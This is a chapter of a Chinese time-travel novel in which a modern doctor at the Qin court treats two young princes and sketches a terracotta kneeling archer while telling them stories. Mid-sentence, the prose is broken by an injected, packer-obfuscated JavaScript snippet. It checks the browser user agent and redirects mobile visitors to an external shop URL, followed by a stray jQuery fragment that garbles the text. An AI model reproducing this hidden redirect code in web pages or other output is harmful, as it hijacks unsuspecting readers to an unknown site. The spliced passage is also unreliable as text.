嬴稷在咸阳的第一个清晨，是被鸟叫吵醒的。
他在赵国的质子馆里住了三年，窗外只有灰扑扑的瓦檐和巡逻甲士的脚步声。没有鸟，没有树，没有风吹过麦田时那种沙沙的响动。所以当他被一阵清亮的、从窗外的槐树枝丫间漏进来的鸟鸣惊醒时，他睁开眼躺了很久没动，以为自己还在做梦。
然后他坐起来，看见了咸阳的晨光——淡金色的，从窗纸后面渗进来，把整间屋子染成暖融融的颜色。空气里有湿漉漉的草木味，是从渭河方向飘过来的晨雾，混着灶房里升起的炊烟，有一种他在赵国三年间无数次在梦里闻到过、醒来却抓不住的气息。
他坐在床沿上发了一会儿呆，然后站起来，披上外衣，推门走出去。
庭院里那棵老槐树的枝条上挂着一层薄薄的水珠，被日光一照像缀了满树的碎银。树下站着一个人，背对着他，正蹲在地上拿一根树枝在地上画着什么。
嬴稷走近了几步，才看清那是秦越。白大褂的领口还没来得及整好，歪着露出一截速干内衣的领子；左手捏着树枝，右手按在膝盖上，正全神贯注地在泥土上勾出一个人的轮廓——圆圆的头、方正的肩、两只拳头攥在腹前。
"秦大夫。"嬴稷出声。
秦越被吓了一跳，树枝在泥地上拖出一道歪线，把那人的肩膀画断了。他回过头来，看见嬴稷披着外衣赤足站在廊下，脸上还带着刚睡醒的茫然劲儿。
"公子醒得真早。"秦越站起来，拍了拍手上的土，"我刚画到一半，还没成形呢。"
嬴稷走近低头看，那个被画断了肩膀的人形旁边还有一行小字，是秦越随手写的："跪射俑，高约一米二，左手握弩，右手扶弦。"
"这是什么？"嬴稷问。
"……一种陶俑。"秦越说，"臣给公子讲个故事吧？等公子用完早膳，诊完脉，臣慢慢讲。"
嬴稷看了他一眼，点了点头。他回到屋里穿好鞋，再出来的时候，秦越已经在廊下摆好了脉枕和一碗温着的药茶。嬴稷在矮凳上坐下来，把左腕搁在脉枕上，动作比昨天自然了许多。
秦越搭上脉，脉象比昨晚稍缓了一些，右关的弱象略有改善。他满意地点了点头："公子昨夜睡得如何？"
"梦见了咸阳。"
"还是城墙？"
"这一次是城墙里的路。"嬴稷想了想，慢慢描述，"我梦见自己从南门走进来，沿着一条很宽的街往北走。街两边有摊子，有蒸饼的香气。我走着走着觉得脚底越来越轻，低头一看，自己飘起来了，悬在屋顶上方往下看。"
"飘起来的时候害怕吗？"
"不害怕。"嬴稷说，声音里带着一丝因为承认这一点而显得有些不好意思的轻，"我觉得那个地方很想让我一直看着。"
秦越收回手，把药茶递给他："那是好事。公子心里已经把咸阳认成家了。飘起来看，说明公子想看清楚它的全貌。"
嬴稷接过药茶，低头慢慢啜了一口。温热的药液滑过喉咙，带着一丝微苦的回甘。
"秦大夫，"他放下碗，"你刚才说的'陶俑'的故事……父王听过吗？"
"大王听过。臣给它讲过一次。"
"那……我能听吗？"
秦越看着他。少年那双琥珀色的眼睛里，那种刚回来时的小心翼翼正在被一种更柔软的东西取代——像一颗从冻土里翻出来的种子，在温水里泡了没多久，已经冒出了极细极白的一丁点芽尖。
"当然能。"秦越说，"臣待会儿给公子画着讲。不过现在——"
他指了指嬴稷的衣领："公子先把衣裳穿齐整了。晨间天凉，赤足踩地久了会伤脾胃之气。"
嬴稷低头看了看自己的脚，耳尖微微红了一下，起身回屋去了。
秦越蹲下来继续画那尊跪射俑，嘴角噙着一点笑。他画完了左手的弩，又添了右侧的剑，正准备画背后的箭箙时，院门口传来一阵沉重的、他已经在两天内熟悉起来的脚步声。
嬴荡来了。
不是来诊脉的——距离上次复诊还有一天。他大步跨进院子，目光越过秦越直扫向嬴稷刚刚走进去的那间屋子，眉头拧成一个不悦的结。
"秦大夫，"嬴荡压着嗓子，"父王让你给稷弟调理身子？"
"公子说了，从今日起，荡公子和稷公子每日都到臣这里诊一次脉。"秦越站起身，把树枝搁在石阶上，"荡公子今日来得早，先坐。臣给公子倒杯茶。"
"我不喝茶。"嬴荡在一张石墩上坐下，语气冲得像刚吃了一口生芥菜，"我就是来——看看。"
秦越听明白了。"看看"——看看这个三年没见的异母弟弟，看看那个从赵国回来的瘦高少年到底变成了什么模样。嬴荡脸上那股"我才不关心"的横劲儿底下，藏着他自己都没意识到的东西：好奇、不安，以及一点点血浓于水的、不知该如何表达的亲近欲。
嬴稷正好从屋里出来，穿好了外衣，衣领袖口整整洁洁。他看见嬴荡坐在院子里，脚步顿了一下，然后上前拱手行礼："荡兄长。"
嬴荡"嗯"了一声，上下打量了他一圈。目光从那张和自己有几分相似的脸滑到那双和自己截然不同的、细长而沉静的眼睛上，停顿了一下，然后转头对秦越说："诊脉！诊完脉我还有事，校场那边约了人角力。"
秦越给嬴荡搭了脉，左寸比上次略平，尺部的洪象也退了一些。"公子这几天没有再举重物吧？"
嬴荡撇了撇嘴："父王派了个人寸步不离跟着我。我连搬案上的酒坛子都有人喊住。"
"那很好。"秦越面不改色，"臣给公子换一味药，原来的方子加三钱杜仲。公子记着，这药不可断，断了三日又要从头调起。"
嬴荡嘟囔了一句"知道了"，站起来要走。经过嬴稷身边时停了半步，嘴唇动了一下，像想说什么又不知道怎么开口，最后只是伸手在嬴稷肩上拍了一下。那一下力道不小，嬴稷被拍得微微一晃，但嘴角却极快地动了一下——那个弧度和他父王一模一样。
嬴荡走远了，院子里又安静下来。秦越继续蹲下去画那尊跪射俑。
"荡兄长……比三年前高了很多。"嬴稷在另一张石墩上坐下来，声音里有一种奇特的、带着距离的温柔，"我走的时候，他才到我眉毛。现在他比我高半头。"
"荡公子长身体的年纪还没过。"秦越边说边把跪射俑的箭箙画完，"公子你也在长。只是你长的是另一种。"
"哪种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890221|212705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？"
秦越抬头看了他一眼，想了想怎么说："公子长的是——根。在赵国那三年，公子在皮肉里面长了一层很厚的东西，比个子更难长。这层东西以后会用得上。"
嬴稷没有答话。他低头看着泥地上那尊快要完工的跪射俑，看了一会儿，忽然问："这个陶俑，他会冷吗？"
秦越愣了一下。
"我是说，"嬴稷的声音很轻，"站在那座山里面，站那么久，一个人没有同伴，他会不会觉得冷？"
秦越握着树枝的手停住了。他看着嬴稷低头问出那个问题的侧脸——少年低垂的睫毛在晨光里投下一小片阴影，嘴角微微抿着，像在替一尊还没被烧出来的陶俑担心温度。
"公子。"秦越放下树枝，声音放缓了，"那个陶俑不是一个人。他身边有八千个跟他一样的人。前后左右都排满了。他们站在那里，面朝东方，一个挨着一个，没有谁落了单。"
嬴稷抬起来来："八千个。"
"八千个。而且——"秦越往他面前凑了凑，压低了声音，像一个在分享秘密的小孩，"千年之后，会有一个穿着白衣服的人蹲在一个很大的坑旁边，一个一个地替他们清洗脸上的泥土。那个人会记得他们的每一个面孔。所以，他们不冷。"
嬴稷看了他很久。晨光铺在少年清瘦的脸颊上，把那层因为瘦而显得略尖的下颌线照出柔和的暖色。
然后他轻轻地说了一句话。声音太小，秦越几乎要凑近才能听清。
"秦大夫，"嬴稷说，"你是不是就是那个穿白衣服的人？"
秦越蹲在原地，手里那根树枝差点掉了。
他抬头对上嬴稷的目光。那双琥珀色的眼睛里没有试探、没有怀疑，只有一种几乎像直觉一样的笃定——一个在外漂泊了太久的孩子，在回到家的第二天，就在一个人身上嗅到了"他不是这里的人"的气息，却因为这个气息里没有恶意，而选择只是轻轻地问了一句，像碰一下一只熟睡的猫。
秦越把树枝放下来，拍了拍手上的土。
"公子。"他说，"这个故事要讲很久。公子先喝药，喝完药，臣从开头讲起。"
嬴稷拿起那碗已经晾得微温的药茶，一口一口慢慢喝完。他把碗放回案上时，嘴角有一个极其浅淡的、几乎看不出来的弧度。
"好。"他说。
秦越站起来，拍了拍膝上的土。他看了看天色——日头已经从东墙升到屋顶上方了，章台宫那边应该快传早饭过来了。他看了一眼正殿的方向，又低头看了看泥地上那尊画完的跪射俑。
然后他拿起树枝，在跪射俑旁边加了第二个人形——更小一些，瘦一些，站在陶俑肩侧，仰头望着陶俑的脸。他把第二个人形的嘴角画了一个小小的弧度。
"这个是谁？"嬴稷凑近了看。
秦越没有答话，只是笑了一下，迈步往屋里走："公子，该讲陶俑了。"
少年跟在后面走进门，日光追着他的脚跟，把门槛上那道阴影一点点填满。
庭院里那幅泥地上的画，在露水干了之后会慢慢淡去。但那尊跪射俑旁边的小人形，会在这个早晨，被一个十五岁的少年记上很长的时间。
也许比他以为的更久。